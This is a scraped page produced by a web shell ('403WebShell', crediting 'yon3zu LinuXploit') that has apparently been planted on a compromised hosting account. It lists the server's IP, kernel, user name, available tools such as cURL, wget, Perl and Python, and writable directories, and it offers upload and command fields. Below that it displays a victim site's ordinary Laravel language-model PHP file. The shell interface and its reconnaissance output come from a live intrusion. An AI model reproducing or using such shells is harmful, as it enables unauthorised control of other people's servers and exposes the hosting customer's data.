Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.22.217.176
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/modules/Language/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/modules/Language/Models/Language.php
<?php
namespace Modules\Language\Models;

use App\BaseModel;
use Illuminate\Database\Eloquent\SoftDeletes;
use Illuminate\Support\Facades\Cache;

class Language extends BaseModel
{
    use SoftDeletes;
    protected $table = 'core_languages';
    protected $fillable = [
        'locale',
        'name',
        'active',
        'flag',
        'status',
    ];

    public function getTranslatedNumberAttribute()
    {
        $count = Translation::where('locale', $this->locale)->whereRaw(" IFNULL(string,'') != '' ")->count();
        return $count;
    }

    public static function getActive($withCurrent = true)
    {
        $value = Cache::rememberForever('locale_active_'.((int) $withCurrent ), function () use ($withCurrent) {
            $q = parent::query();
            if(!$withCurrent){
                $q->where('locale','!=',\App::getLocale());
            }
            return $q->where('status', 'publish')->orderByRaw('CASE WHEN (locale = \''.e(setting_item('site_locale')).'\') THEN 0 ELSE 1 END')->get();
        });
        return $value;

    }

    public static function findByLocale($locale){
        $value = Cache::rememberForever('locale_' . $locale, function () use ($locale) {
            return Language::where('locale', $locale)->first();
        });
        return $value;
    }

    public function save(array $options = [])
    {
        $res =  parent::save($options); // TODO: Change the autogenerated stub

        if($res){
            Cache::forget('locale_' . $this->locale);
            Cache::forget('locale_active_0');
            Cache::forget('locale_active_1');
        }

        return $res;
    }

    public function delete()
    {
        $locale = $this->locale;

        $res = parent::delete(); // TODO: Change the autogenerated stub

        if($res){
            Cache::forget('locale_' . $locale);
            Cache::forget('locale_active_0');
            Cache::forget('locale_active_1');
        }

        return $res;
    }

    public function update(array $attributes = [], array $options = [])
    {
        $old = $this->locale;

        $res =  parent::update($attributes, $options); // TODO: Change the autogenerated stub

        if($res){
            Cache::forget('locale_' . $old);
            if($old != $this->locale){
                Cache::forget('locale_' . $this->locale);
            }
            Cache::forget('locale_active_0');
            Cache::forget('locale_active_1');
        }

        return $res;

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit